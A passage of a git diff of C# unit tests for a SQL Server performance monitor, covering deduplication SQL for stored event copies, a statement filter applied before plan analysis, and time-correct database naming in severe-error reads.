+       row the statement filter withheld whole is told apart by the columns the collector parsed before judging it)
+       and the never-collapse test for a marker row with none of them; the real-text parts are unchanged. */
     [Fact]
     public void TheOtherThreeTables_KeepTheirSql()
     {
-        Assert.Equal("(SELECT v.* FROM v_blocked_process_reports AS v JOIN (SELECT k0, k1, k2, k3, k4, MIN(ct) AS first_ct FROM (SELECT server_id AS k0, event_time AS k1, hash(blocked_process_report_xml) AS k2, CASE WHEN blocked_process_report_xml IS NULL OR blocked_process_report_xml = '' OR event_time IS NULL THEN blocked_report_id END AS k3, CASE WHEN blocked_process_report_xml IS NULL OR blocked_process_report_xml = '' OR event_time IS NULL THEN collection_time END AS k4, collection_time AS ct FROM v_blocked_process_reports WHERE (server_id = 1) AND collection_time >= CAST($2 AS TIMESTAMP) - INTERVAL 600 SECOND) GROUP BY k0, k1, k2, k3, k4) AS g ON (server_id) IS NOT DISTINCT FROM g.k0 AND (event_time) IS NOT DISTINCT FROM g.k1 AND (hash(blocked_process_report_xml)) IS NOT DISTINCT FROM g.k2 AND (CASE WHEN blocked_process_report_xml IS NULL OR blocked_process_report_xml = '' OR event_time IS NULL THEN blocked_report_id END) IS NOT DISTINCT FROM g.k3 AND (CASE WHEN blocked_process_report_xml IS NULL OR blocked_process_report_xml = '' OR event_time IS NULL THEN collection_time END) IS NOT DISTINCT FROM g.k4 AND v.collection_time = g.first_ct WHERE (server_id = 1) AND collection_time >= $2)", StoredEventCopies.BlockedProcessReports("server_id = 1", "$2"));
+        Assert.Equal("(SELECT v.* FROM v_blocked_process_reports AS v JOIN (SELECT k0, k1, k2, k3, k4, k5, k6, k7, k8, k9, k10, MIN(ct) AS first_ct FROM (SELECT server_id AS k0, event_time AS k1, hash(blocked_process_report_xml) AS k2, CASE WHEN blocked_process_report_xml = '-- statement text withheld (#4348)' THEN database_name END AS k3, CASE WHEN blocked_process_report_xml = '-- statement text withheld (#4348)' THEN blocked_spid END AS k4, CASE WHEN blocked_process_report_xml = '-- statement text withheld (#4348)' THEN blocked_ecid END AS k5, CASE WHEN blocked_process_report_xml = '-- statement text withheld (#4348)' THEN blocking_spid END AS k6, CASE WHEN blocked_process_report_xml = '-- statement text withheld (#4348)' THEN blocking_ecid END AS k7, CASE WHEN blocked_process_report_xml = '-- statement text withheld (#4348)' THEN wait_resource END AS k8, CASE WHEN blocked_process_report_xml IS NULL OR blocked_process_report_xml = '' OR event_time IS NULL OR (blocked_process_report_xml = '-- statement text withheld (#4348)' AND (blocked_spid IS NULL AND blocking_spid IS NULL)) THEN blocked_report_id END AS k9, CASE WHEN blocked_process_report_xml IS NULL OR blocked_process_report_xml = '' OR event_time IS NULL OR (blocked_process_report_xml = '-- statement text withheld (#4348)' AND (blocked_spid IS NULL AND blocking_spid IS NULL)) THEN collection_time END AS k10, collection_time AS ct FROM v_blocked_process_reports WHERE (server_id = 1) AND collection_time >= CAST($2 AS TIMESTAMP) - INTERVAL 600 SECOND) GROUP BY k0, k1, k2, k3, k4, k5, k6, k7, k8, k9, k10) AS g ON (server_id) IS NOT DISTINCT FROM g.k0 AND (event_time) IS NOT DISTINCT FROM g.k1 AND (hash(blocked_process_report_xml)) IS NOT DISTINCT FROM g.k2 AND (CASE WHEN blocked_process_report_xml = '-- statement text withheld (#4348)' THEN database_name END) IS NOT DISTINCT FROM g.k3 AND (CASE WHEN blocked_process_report_xml = '-- statement text withheld (#4348)' THEN blocked_spid END) IS NOT DISTINCT FROM g.k4 AND (CASE WHEN blocked_process_report_xml = '-- statement text withheld (#4348)' THEN blocked_ecid END) IS NOT DISTINCT FROM g.k5 AND (CASE WHEN blocked_process_report_xml = '-- statement text withheld (#4348)' THEN blocking_spid END) IS NOT DISTINCT FROM g.k6 AND (CASE WHEN blocked_process_report_xml = '-- statement text withheld (#4348)' THEN blocking_ecid END) IS NOT DISTINCT FROM g.k7 AND (CASE WHEN blocked_process_report_xml = '-- statement text withheld (#4348)' THEN wait_resource END) IS NOT DISTINCT FROM g.k8 AND (CASE WHEN blocked_process_report_xml IS NULL OR blocked_process_report_xml = '' OR event_time IS NULL OR (blocked_process_report_xml = '-- statement text withheld (#4348)' AND (blocked_spid IS NULL AND blocking_spid IS NULL)) THEN blocked_report_id END) IS NOT DISTINCT FROM g.k9 AND (CASE WHEN blocked_process_report_xml IS NULL OR blocked_process_report_xml = '' OR event_time IS NULL OR (blocked_process_report_xml = '-- statement text withheld (#4348)' AND (blocked_spid IS NULL AND blocking_spid IS NULL)) THEN collection_time END) IS NOT DISTINCT FROM g.k10 AND v.collection_time = g.first_ct WHERE (server_id = 1) AND collection_time >= $2)", StoredEventCopies.BlockedProcessReports("server_id = 1", "$2"));
         Assert.Equal("(SELECT v.* FROM v_long_query_completions AS v JOIN (SELECT k0, k1, k2, k3, k4, k5, k6, k7, MIN(ct) AS first_ct FROM (SELECT server_id AS k0, database_name AS k1, event_time AS k2, statement_text AS k3, session_id AS k4, event_sequence AS k5, CASE WHEN statement_text IS NULL OR statement_text = '' OR event_time IS NULL THEN long_query_completion_id END AS k6, CASE WHEN statement_text IS NULL OR statement_text = '' OR event_time IS NULL THEN collection_time END AS k7, collection_time AS ct FROM v_long_query_completions WHERE (server_id = 1)) GROUP BY k0, k1, k2, k3, k4, k5, k6, k7) AS g ON (server_id) IS NOT DISTINCT FROM g.k0 AND (database_name) IS NOT DISTINCT FROM g.k1 AND (event_time) IS NOT DISTINCT FROM g.k2 AND (statement_text) IS NOT DISTINCT FROM g.k3 AND (session_id) IS NOT DISTINCT FROM g.k4 AND (event_sequence) IS NOT DISTINCT FROM g.k5 AND (CASE WHEN statement_text IS NULL OR statement_text = '' OR event_time IS NULL THEN long_query_completion_id END) IS NOT DISTINCT FROM g.k6 AND (CASE WHEN statement_text IS NULL OR statement_text = '' OR event_time IS NULL THEN collection_time END) IS NOT DISTINCT FROM g.k7 AND v.collection_time = g.first_ct WHERE (server_id = 1))", StoredEventCopies.LongQueryCompletions("server_id = 1"));
-        Assert.Equal("(SELECT v.* FROM v_system_health_events AS v JOIN (SELECT k0, k1, k2, k3, k4, MIN(ct) AS first_ct FROM (SELECT server_id AS k0, event_time AS k1, hash(event_xml) AS k2, CASE WHEN event_xml IS NULL OR event_xml = '' OR event_time IS NULL THEN system_health_event_id END AS k3, CASE WHEN event_xml IS NULL OR event_xml = '' OR event_time IS NULL THEN collection_time END AS k4, collection_time AS ct FROM v_system_health_events WHERE (server_id = 1) AND collection_time >= CAST($2 AS TIMESTAMP) - INTERVAL 600 SECOND) GROUP BY k0, k1, k2, k3, k4) AS g ON (server_id) IS NOT DISTINCT FROM g.k0 AND (event_time) IS NOT DISTINCT FROM g.k1 AND (hash(event_xml)) IS NOT DISTINCT FROM g.k2 AND (CASE WHEN event_xml IS NULL OR event_xml = '' OR event_time IS NULL THEN system_health_event_id END) IS NOT DISTINCT FROM g.k3 AND (CASE WHEN event_xml IS NULL OR event_xml = '' OR event_time IS NULL THEN collection_time END) IS NOT DISTINCT FROM g.k4 AND v.collection_time = g.first_ct WHERE (server_id = 1) AND collection_time >= $2)", StoredEventCopies.SystemHealthEvents("server_id = 1", "$2"));
+        Assert.Equal("(SELECT v.* FROM v_system_health_events AS v JOIN (SELECT k0, k1, k2, k3, k4, k5, MIN(ct) AS first_ct FROM (SELECT server_id AS k0, event_time AS k1, hash(event_xml) AS k2, CASE WHEN event_xml = '-- statement text withheld (#4348)' THEN event_type END AS k3, CASE WHEN event_xml IS NULL OR event_xml = '' OR event_time IS NULL OR (event_xml = '-- statement text withheld (#4348)' AND (event_type IS NULL)) THEN system_health_event_id END AS k4, CASE WHEN event_xml IS NULL OR event_xml = '' OR event_time IS NULL OR (event_xml = '-- statement text withheld (#4348)' AND (event_type IS NULL)) THEN collection_time END AS k5, collection_time AS ct FROM v_system_health_events WHERE (server_id = 1) AND collection_time >= CAST($2 AS TIMESTAMP) - INTERVAL 600 SECOND) GROUP BY k0, k1, k2, k3, k4, k5) AS g ON (server_id) IS NOT DISTINCT FROM g.k0 AND (event_time) IS NOT DISTINCT FROM g.k1 AND (hash(event_xml)) IS NOT DISTINCT FROM g.k2 AND (CASE WHEN event_xml = '-- statement text withheld (#4348)' THEN event_type END) IS NOT DISTINCT FROM g.k3 AND (CASE WHEN event_xml IS NULL OR event_xml = '' OR event_time IS NULL OR (event_xml = '-- statement text withheld (#4348)' AND (event_type IS NULL)) THEN system_health_event_id END) IS NOT DISTINCT FROM g.k4 AND (CASE WHEN event_xml IS NULL OR event_xml = '' OR event_time IS NULL OR (event_xml = '-- statement text withheld (#4348)' AND (event_type IS NULL)) THEN collection_time END) IS NOT DISTINCT FROM g.k5 AND v.collection_time = g.first_ct WHERE (server_id = 1) AND collection_time >= $2)", StoredEventCopies.SystemHealthEvents("server_id = 1", "$2"));
     }
 
     /* One generated read, for the record: the grouped side holds the keys and an exact (collection_time,
diff --git a/Lite.Tests/StoredEventCopiesReaderTests.cs b/Lite.Tests/StoredEventCopiesReaderTests.cs
index 8d7b9fb4b9..d72bee784b 100644
--- a/Lite.Tests/StoredEventCopiesReaderTests.cs
+++ b/Lite.Tests/StoredEventCopiesReaderTests.cs
@@ -1,4 +1,5 @@
 using System;
+using System.Collections.Generic;
 using System.IO;
 using System.Linq;
 using System.Threading.Tasks;
@@ -18,6 +19,8 @@ namespace PerformanceMonitorLite.Tests;
 /// </summary>
 public sealed class StoredEventCopiesReaderTests : IDisposable
 {
+    private readonly List<DuckDbInitializer> _initializers = [];
+
     private const int ServerId = 5301;
     private readonly string _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
 
@@ -25,6 +28,11 @@ public sealed class StoredEventCopiesReaderTests : IDisposable
 
     public void Dispose()
     {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
         try
         {
             if (Directory.Exists(_tempDir))
@@ -51,7 +59,8 @@ private async Task<LocalDataService> StageAsync(DateTime firstStored, DateTime c
     {
         var dbPath = Path.Combine(_tempDir, "test.duckdb");
         var initializer = new DuckDbInitializer(dbPath);
-        await initializer.InitializeAsync();
+        _initializers.Add(initializer);
+        await initializer.InitializeFromTemplateAsync();
         var eventTime = firstStored.AddMinutes(-2);
 
         string Bpr(int id, DateTime stored) =>
@@ -102,8 +111,8 @@ public async Task TheAlertDeadlockRead_AlertsANewDeadlockOnce_AndNotACopyOfAnOld
         var now = DateTime.UtcNow;
         var bound = now.AddMinutes(-10);
         var dbPath = Path.Combine(_tempDir, "test.duckdb");
-        var initializer = new DuckDbInitializer(dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(dbPath);
+        await initializer.InitializeFromTemplateAsync();
         using (var connection = new DuckDBConnection($"Data Source={dbPath}"))
         {
             await connection.OpenAsync(TestContext.Current.CancellationToken);
diff --git a/Lite.Tests/StoredEventCopiesSweepTests.cs b/Lite.Tests/StoredEventCopiesSweepTests.cs
index 34961f691b..0784031e0f 100644
--- a/Lite.Tests/StoredEventCopiesSweepTests.cs
+++ b/Lite.Tests/StoredEventCopiesSweepTests.cs
@@ -49,6 +49,15 @@ counts and buckets count COUNT(DISTINCT StoredEventCopies.DeadlockIdentityTuple)
         /* The two last-capture reads, MAX(collection_time) with no time window: a batch that stored only copies of
            events already held still read the session, so its collection_time is a true capture. */
         [("LocalDataService.SystemEvents.cs", "v_system_health_events")] = 2,
+
+        /* The window-floor probe (#4966): its QueryWindowRelationView map names the views, and the probe asks only for the
+           earliest time inside a window and whether any row sits before its start (LIMIT 1). A copy of an event is stored
+           later than its first copy and keeps the first copy's event_time, so it cannot move the earliest time or add an
+           older row. The probe returns no rows, so there is nothing to hide. */
+        [("LocalDataService.QueryWindowFloor.cs", "v_system_health_events")] = 1,
+        [("LocalDataService.QueryWindowFloor.cs", "v_long_query_completions")] = 1,
+        [("LocalDataService.QueryWindowFloor.cs", "v_blocked_process_reports")] = 1,
+        [("LocalDataService.QueryWindowFloor.cs", "v_deadlocks")] = 1,
     };
 
     [Fact]
diff --git a/Lite.Tests/StoredEventCopiesTests.cs b/Lite.Tests/StoredEventCopiesTests.cs
index 8b64335072..21efde46ef 100644
--- a/Lite.Tests/StoredEventCopiesTests.cs
+++ b/Lite.Tests/StoredEventCopiesTests.cs
@@ -110,8 +110,8 @@ private static async Task ExecuteAsync(DuckDBConnection connection, string sql)
     private async Task<DuckDBConnection> StageAsync(string table, IEnumerable<string> archived, IEnumerable<string> recollected)
     {
         var shape = Shapes[table];
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
         using (var connection = await OpenAsync())
         {
             await ExecuteAsync(connection, $"INSERT INTO {table} {shape.Columns} VALUES {string.Join(", ", archived)}");
@@ -305,6 +305,10 @@ public void EveryEventCollectorsFallback_IsTheWindowTheReadLooksBack()
             ("system_health_events", SystemHealthEventsCollector.Instance.BuildQuery),
         };
 
+        /* The long-query read names the session this install made (#4961), and refuses to build without it: the host
+           puts the name on the context. Only that read looks at it, so the other collectors ignore it. */
+        var sessionName = LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.LiteProduct, "0a1b2c3d");
+
         foreach (var (name, buildQuery) in collectors)
         {
             var query = buildQuery(new CollectorContext
@@ -313,6 +317,7 @@ public void EveryEventCollectorsFallback_IsTheWindowTheReadLooksBack()
                 ServerName = "S1",
                 CollectionTime = collectionTime,
                 Deltas = new RecordingCollectorDeltaCalculator(),
+                LongQuerySessionName = sessionName,
             });
 
             var cutoff = (DateTime)query.Parameters.Single(p => p.Name == "@cutoff_time").Value!;
diff --git a/Lite.Tests/StoredPlanAnalysisFilterTests.cs b/Lite.Tests/StoredPlanAnalysisFilterTests.cs
new file mode 100644
index 0000000000..271e3c1a46
--- /dev/null
+++ b/Lite.Tests/StoredPlanAnalysisFilterTests.cs
@@ -0,0 +1,190 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Security;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Common;
+using Darling.Tests;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitor.PlanAnalysis;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4348: the three stored-plan analysis tools (<c>analyze_query_plan</c>, <c>analyze_procedure_plan</c>,
+/// <c>analyze_query_store_plan</c>) lift parameter values and statement text out of the plan into fields of their own,
+/// so the statement filter has to judge the stored XML before the analysis reads it, as <c>analyze_plan_xml</c> does.
+/// A plan the filter withholds whole is answered with one plain sentence, not a parse error.
+/// </summary>
+public sealed class StoredPlanAnalysisFilterTests
+{
+    [Theory]
+    [InlineData("query_stats", "abc123")]
+    [InlineData("procedure_stats", "0x0200abcd")]
+    [InlineData("query_store", "Db:7")]
+    public void TheAnalysisOfTheCanaryPlan_HoldsNoSecret_ForEachStoredPlanSource(string source, string identifier)
+    {
+        string result = McpPlanTools.AnalyzeFilteredPlan(
+            StatementScrubCanary.CanaryPlan(), "srv", source, identifier, null, null, default);
+
+        foreach (string needle in StatementScrubCanary.SecretNeedles)
+            Assert.DoesNotContain(needle, result);
+        JsonDocument.Parse(result).Dispose();
+    }
+
+    [Theory]
+    [InlineData("query_stats")]
+    [InlineData("procedure_stats")]
+    [InlineData("query_store")]
+    public void ACleanPlansAnalysis_IsByteIdenticalToTheUnfilteredAnalysis(string source)
+    {
+        string plan = SamplePlanXml;
+
+        string filtered = McpPlanTools.AnalyzeFilteredPlan(plan, "srv", source, "id", null, null, default);
+        string direct = McpPlanAnalysisFormatter.BuildAnalysisResult(plan, "srv", source, "id", null, null, default);
+
+        Assert.Equal(direct, filtered);
+    }
+
+    [Theory]
+    [InlineData("query_stats")]
+    [InlineData("procedure_stats")]
+    [InlineData("query_store")]
+    [InlineData("xml")]
+    public void APlanTheFilterWithholdsWhole_IsAnsweredWithOnePlainSentence_NotAParseError(string source)
+    {
+        // A document that does not parse is judged as decoded text and withheld whole when it names a sensitive
+        // statement (the same outcome as a spent read budget).
+        string plan = "<ShowPlanXML><StmtSimple StatementText=\"" + SecurityElement.Escape(StatementScrubCanary.CanaryStatement) + "\"";
+        Assert.Equal(SensitiveStatements.PlaceholderText, SensitiveStatements.Xml(plan));
+
+        string result = source == "xml"
+            ? McpPlanTools.AnalyzePlanXml(plan)
+            : McpPlanTools.AnalyzeFilteredPlan(plan, "srv", source, "id", null, null, default);
+
+        using var doc = JsonDocument.Parse(result);
+        Assert.Equal("This plan was withheld by the statement filter (#4348), so it was not analysed.",
+            doc.RootElement.GetProperty("message").GetString());
+        Assert.DoesNotContain("could not be read", result);
+    }
+
+    /// <summary>
+    /// Every product <c>.cs</c> file under <paramref name="appRoot"/> (not <c>bin</c>, <c>obj</c> or
+    /// <c>deprecated</c>) is read with comments and string contents blanked by <c>CSharpSourceWalker</c>. The formatter's <c>BuildAnalysisResult</c> may appear exactly
+    /// once, qualified, in <paramref name="helperRelativePath"/>: a direct call in any other file, a call through
+    /// <c>using static</c> or an alias, and a method group all name it again and so fail.
+    /// </summary>
+    private static List<string> FormatterCallProblems(string appRoot, string helperRelativePath)
+    {
+        var problems = new List<string>();
+        string helper = Path.GetFullPath(Path.Combine(appRoot, helperRelativePath));
+        int mentions = 0;
+        foreach (string file in Directory.EnumerateFiles(appRoot, "*.cs", SearchOption.AllDirectories))
+        {
+            string relative = Path.GetRelativePath(appRoot, file);
+            string[] parts = relative.Split(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
+            if (parts.Take(parts.Length - 1).Any(p => p is "bin" or "obj" or "deprecated")) continue;
+
+            bool isHelper = string.Equals(Path.GetFullPath(file), helper, StringComparison.OrdinalIgnoreCase);
+            // Read as code, not by line prefix (#3052): the walker blanks line, block and doc comments and string
+            // contents wherever they sit, so a mention inside a block comment's continuation lines or after code on a
+            // line is judged correctly, and code that follows a closing block comment on its line is still read.
+            foreach (string line in CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(file)).Split('\n'))
+            {
+                if (Regex.IsMatch(line, @"\busing\s+static\s+[\w.]*McpPlanAnalysisFormatter\b"))
+                    problems.Add(relative + ": using static of the formatter");
+
+                int here = Regex.Matches(line, @"\bBuildAnalysisResult\b").Count;
+                if (here == 0) continue;
+                mentions += here;
+                bool qualified = Regex.IsMatch(line, @"\bMcpPlanAnalysisFormatter\s*\.\s*BuildAnalysisResult\s*\(");
+                if (!isHelper || !qualified || here != 1)
+                    problems.Add(relative + ": a call to BuildAnalysisResult outside the filtered helper");
+            }
+        }
+
+        if (mentions != 1) problems.Add("expected exactly one call to BuildAnalysisResult in the helper, found " + mentions);
+        return problems;
+    }
+
+    [Fact]
+    public void EveryAnalysisToolHere_ReachesTheAnalyzerOnlyThroughTheFilteredHelper()
+    {
+        string appRoot = Path.Combine(RepoRoot(), "Lite");
+        string helperRelativePath = Path.Combine("Mcp", "McpPlanTools.cs");
+        string source = File.ReadAllText(Path.Combine(appRoot, helperRelativePath));
+
+        // One direct call to the formatter across the whole app: the helper's own. The four tools call the helper.
+        Assert.Empty(FormatterCallProblems(appRoot, helperRelativePath));
+        Assert.Equal(4, Regex.Matches(source, @"return AnalyzeFilteredPlan\(").Count);
+        Assert.Contains("xml = SensitiveStatements.Xml(xml) ?? SensitiveStatements.PlaceholderText;", source);
+    }
+
+    [Fact]
+    public void TheFormatterCallScan_FlagsADirectCallInAnotherFile_AUsingStaticCall_AndIgnoresBinObjAndDeprecated()
+    {
+        string root = Path.Combine(Path.GetTempPath(), "spaf-" + Guid.NewGuid().ToString("N"));
+        try
+        {
+            Directory.CreateDirectory(root);
+            string helperLine = "return McpPlanAnalysisFormatter.BuildAnalysisResult(xml);";
+            File.WriteAllText(Path.Combine(root, "Helper.cs"),
+                "// McpPlanAnalysisFormatter.BuildAnalysisResult( is named here\n" + helperLine);
+            Assert.Empty(FormatterCallProblems(root, "Helper.cs"));
+
+            // Comments are not code wherever they sit: a block comment's unprefixed continuation lines, a trailing
+            // comment after code, and a string that spells the name are all ignored.
+            File.WriteAllText(Path.Combine(root, "Prose.cs"),
+                "/* McpPlanAnalysisFormatter.BuildAnalysisResult(xml) is the old shape,\n"
+                + "   and this line was once read as code */\n"
+                + "class P { int x = 1; // BuildAnalysisResult( here\n"
+                + "string s = \"BuildAnalysisResult(\"; }");
+            Assert.Empty(FormatterCallProblems(root, "Helper.cs"));
+            // ...but code after a closing block comment on the same line is still code.
+            File.WriteAllText(Path.Combine(root, "Prose.cs"), "/* note */ class P { object o = BuildAnalysisResult(x); }");
+            Assert.NotEmpty(FormatterCallProblems(root, "Helper.cs"));
+            File.Delete(Path.Combine(root, "Prose.cs"));
+
+            foreach (string ignored in new[] { "bin", "obj", "deprecated" })
+            {
+                Directory.CreateDirectory(Path.Combine(root, ignored));
+                File.WriteAllText(Path.Combine(root, ignored, "Skipped.cs"), helperLine);
+            }
+            Assert.Empty(FormatterCallProblems(root, "Helper.cs"));
+
+            string other = Path.Combine(root, "Other.cs");
+            File.WriteAllText(other, "class T { string M() { " + helperLine + " } }");
+            Assert.NotEmpty(FormatterCallProblems(root, "Helper.cs"));
+
+            File.WriteAllText(other,
+                "using static PerformanceMonitor.PlanAnalysis.McpPlanAnalysisFormatter;\nclass T { string M() { return BuildAnalysisResult(xml); } }");
+            Assert.True(FormatterCallProblems(root, "Helper.cs").Count >= 2);
+        }
+        finally
+        {
+            Directory.Delete(root, recursive: true);
+        }
+    }
+
+    private const string SamplePlanXml =
+        "<?xml version=\"1.0\" encoding=\"utf-16\"?>" +
+        "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\" Version=\"1.539\" Build=\"16.0.1000.6\">" +
+        "<BatchSequence><Batch><Statements>" +
+        "<StmtSimple StatementText=\"SELECT 1\" StatementId=\"1\" StatementType=\"SELECT\" />" +
+        "</Statements></Batch></BatchSequence></ShowPlanXML>";
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+        => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, ".."));
+}
diff --git a/Lite.Tests/SwallowedItemFailureTests.cs b/Lite.Tests/SwallowedItemFailureTests.cs
index d8fe88622b..c4ce0aaf93 100644
--- a/Lite.Tests/SwallowedItemFailureTests.cs
+++ b/Lite.Tests/SwallowedItemFailureTests.cs
@@ -37,6 +37,7 @@ namespace Lite.Tests;
 /// category, so it offered the event-collector resting-state sentence to every zero-row window that left no
 /// note; it now takes both.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class SwallowedItemFailureTests
 {
     /* ── the runners consume the driver's account, both of them ── */
@@ -101,8 +102,9 @@ honest on. */
         Assert.True(catchArm > 0 && set > catchArm, "the fault is recorded in the reconcile's own catch");
         Assert.Contains("if (enabled)\n            {\n                _longQueryTraceFault[server.Id] = ex;", source, StringComparison.Ordinal);
 
-        /* Cleared when a later reconcile succeeds, on both arms. */
-        Assert.Equal(2, CountOccurrences(source, "_longQueryTraceFault.TryRemove(server.Id, out _);"));
+        /* Cleared when a later reconcile succeeds, on both arms, and where the trace is off and the install has no id
+           (#4961): there is no session of its own to drop, and no fault to keep for a run that is not dispatched. */
+        Assert.Equal(3, CountOccurrences(source, "_longQueryTraceFault.TryRemove(server.Id, out _);"));
 
         /* Rethrown in the collector's run BEFORE the definition read, with its original stack. The read is the
            definition call inside the shared ReadXeSessionAsync since #4731 (XeSessionHealthTests pins that
@@ -313,7 +315,7 @@ public void TheEventCollectorSet_NamesOnlyRealCollectors_AndTheDescribedOnes()
         }
 
         /* The XE ring-buffer captures declare a session name; every one of them is an event capture. */
-        foreach (var xe in new[] { DeadlocksCollector.XeSessionName, BlockedProcessReportCollector.XeSessionName, LongQueryCompletionsCollector.XeSessionName })
+        foreach (var xe in new[] { DeadlocksCollector.XeSessionName, BlockedProcessReportCollector.XeSessionName, LongQueryCompletionsCollector.LegacyXeSessionName })
         {
             Assert.False(string.IsNullOrWhiteSpace(xe));
         }
diff --git a/Lite.Tests/SystemEventsReaderTests.cs b/Lite.Tests/SystemEventsReaderTests.cs
index 3d6389885e..2c22203531 100644
--- a/Lite.Tests/SystemEventsReaderTests.cs
+++ b/Lite.Tests/SystemEventsReaderTests.cs
@@ -117,11 +117,13 @@ public async Task SevereErrors_ProjectColumns_AndResolveDatabaseNameFromSizeStat
         var service = new LocalDataService(_duckDb);
 
         var eventTime = Truncate(DateTime.UtcNow.AddHours(-1));
-        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, LoadFixture("error_reported.xml"), eventTime);
-        /* error_reported.xml carries database_id 6; map it via the latest size-stats snapshot (newest name
-           per id, the QUALIFY ROW_NUMBER dedup). A second, older row for the same id proves "latest wins". */
+        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, ErrorReportedAt(eventTime, databaseId: 6), eventTime);
+        /* error_reported.xml carries database_id 6; map it via the size-stats snapshot at the error's time (#5373: the
+           newest snapshot at or before the error). An older row for the same id under another name, and a newer one,
+           prove neither "oldest" nor "latest" wins. */
         await SeedDatabaseSizeAsync(databaseId: 6, databaseName: "OldName", collectionTime: eventTime.AddHours(-2));
-        await SeedDatabaseSizeAsync(databaseId: 6, databaseName: "ProdDB", collectionTime: eventTime);
+        await SeedDatabaseSizeAsync(databaseId: 6, databaseName: "ProdDB", collectionTime: eventTime.AddMinutes(-30));
+        await SeedDatabaseSizeAsync(databaseId: 6, databaseName: "NewerName", collectionTime: eventTime.AddMinutes(30));
 
         var rows = await service.GetSevereErrorsAsync(ServerId);
         var row = Assert.Single(rows);
@@ -132,6 +134,184 @@ public async Task SevereErrors_ProjectColumns_AndResolveDatabaseNameFromSizeStat
         Assert.Contains("operating system returned error", row.Message);
     }
 
+    [Fact]
+    public async Task SevereErrors_ReusedDatabaseId_NamesEachErrorByTheDatabaseOfItsTime_5373()
+    {
+        var service = new LocalDataService(_duckDb);
+        var now = Truncate(DateTime.UtcNow);
+
+        /* id 7 is A (snapshots 20h, 16h, 12h ago, two files each), is dropped, and is B from 6h ago. id 8 appears only
+           after the whole error range (as C). */
+        foreach (var h in new[] { 20, 16, 12 }) { await SeedDatabaseSizeAsync(7, "A", now.AddHours(-h)); await SeedDatabaseSizeAsync(7, "A", now.AddHours(-h)); }
+        foreach (var h in new[] { 6, 2 }) await SeedDatabaseSizeAsync(7, "B", now.AddHours(-h));
+        await SeedDatabaseSizeAsync(8, "C", now.AddMinutes(-30));
+
+        async Task Error(int hoursAgo, int databaseId, int number)
+        {
+            var at = now.AddHours(-hoursAgo);
+            await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, ErrorReportedAt(at, databaseId, number), at);
+        }
+        await Error(22, 7, 50001);   /* before any snapshot: the oldest one after it, A */
+        await Error(14, 7, 50002);   /* A */
+        await Error(4, 7, 50003);    /* B */
+        await Error(1, 7, 50004);    /* B, after the last snapshot */
+        await Error(10, 8, 50005);   /* id 8 seen only after the range: C */
+        await Error(3, 99, 50006);   /* never seen: the raw id */
+
+        var rows = await service.GetSevereErrorsAsync(ServerId, hoursBack: 48);
+        var names = rows.ToDictionary(r => r.ErrorNumber ?? 0, r => r.DatabaseName);
+        Assert.Equal("A", names[50001]);
+        Assert.Equal("A", names[50002]);
+        Assert.Equal("B", names[50003]);
+        Assert.Equal("B", names[50004]);
+        Assert.Equal("C", names[50005]);
+        Assert.Equal("database_id 99", names[50006]);
+
+        /* The database filter matches the time-correct name: A keeps the old errors, B does not. */
+        var onlyA = await service.GetSevereErrorsAsync(ServerId, hoursBack: 48, databaseNames: new[] { "A" });
+        Assert.Equal(new[] { 50001, 50002 }, onlyA.Select(r => r.ErrorNumber ?? 0).OrderBy(n => n).ToArray());
+        var onlyB = await service.GetSevereErrorsAsync(ServerId, hoursBack: 48, databaseNames: new[] { "B" });
+        Assert.Equal(new[] { 50003, 50004 }, onlyB.Select(r => r.ErrorNumber ?? 0).OrderBy(n => n).ToArray());
+        /* #5244: an id the history never saw is in no chosen database (its "database_id N" label is not a name), and the match is ordinal. */
+        Assert.Empty(await service.GetSevereErrorsAsync(ServerId, hoursBack: 48, databaseNames: new[] { "database_id 99" }));
+        Assert.Empty(await service.GetSevereErrorsAsync(ServerId, hoursBack: 48, databaseNames: new[] { "a" }));
+    }
+
+    [Fact]
+    public async Task SevereErrors_AnIdAbsentFromTheFloorSnapshot_KeepsItsLastEarlierName_5373()
+    {
+        var service = new LocalDataService(_duckDb);
+        var now = Truncate(DateTime.UtcNow);
+
+        /* The floor snapshot is server-wide: database 5 went offline (not collected), so its last snapshot is before
+           the whole error range and it is in no snapshot of the range. */
+        foreach (var h in new[] { 40, 30, 20, 10, 2 }) await SeedDatabaseSizeAsync(1, "master", now.AddHours(-h));
+        foreach (var h in new[] { 40, 30 }) await SeedDatabaseSizeAsync(5, "Offline1", now.AddHours(-h));
+        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, ErrorReportedAt(now.AddHours(-10), 5, 50101), now.AddHours(-10));
+        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, ErrorReportedAt(now.AddHours(-3), 5, 50102), now.AddHours(-3));
+        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, ErrorReportedAt(now.AddHours(-3), 1, 50103), now.AddHours(-3));
+
+        var names = (await service.GetSevereErrorsAsync(ServerId, hoursBack: 200)).ToDictionary(r => r.ErrorNumber ?? 0, r => r.DatabaseName);
+        Assert.Equal("Offline1", names[50101]);
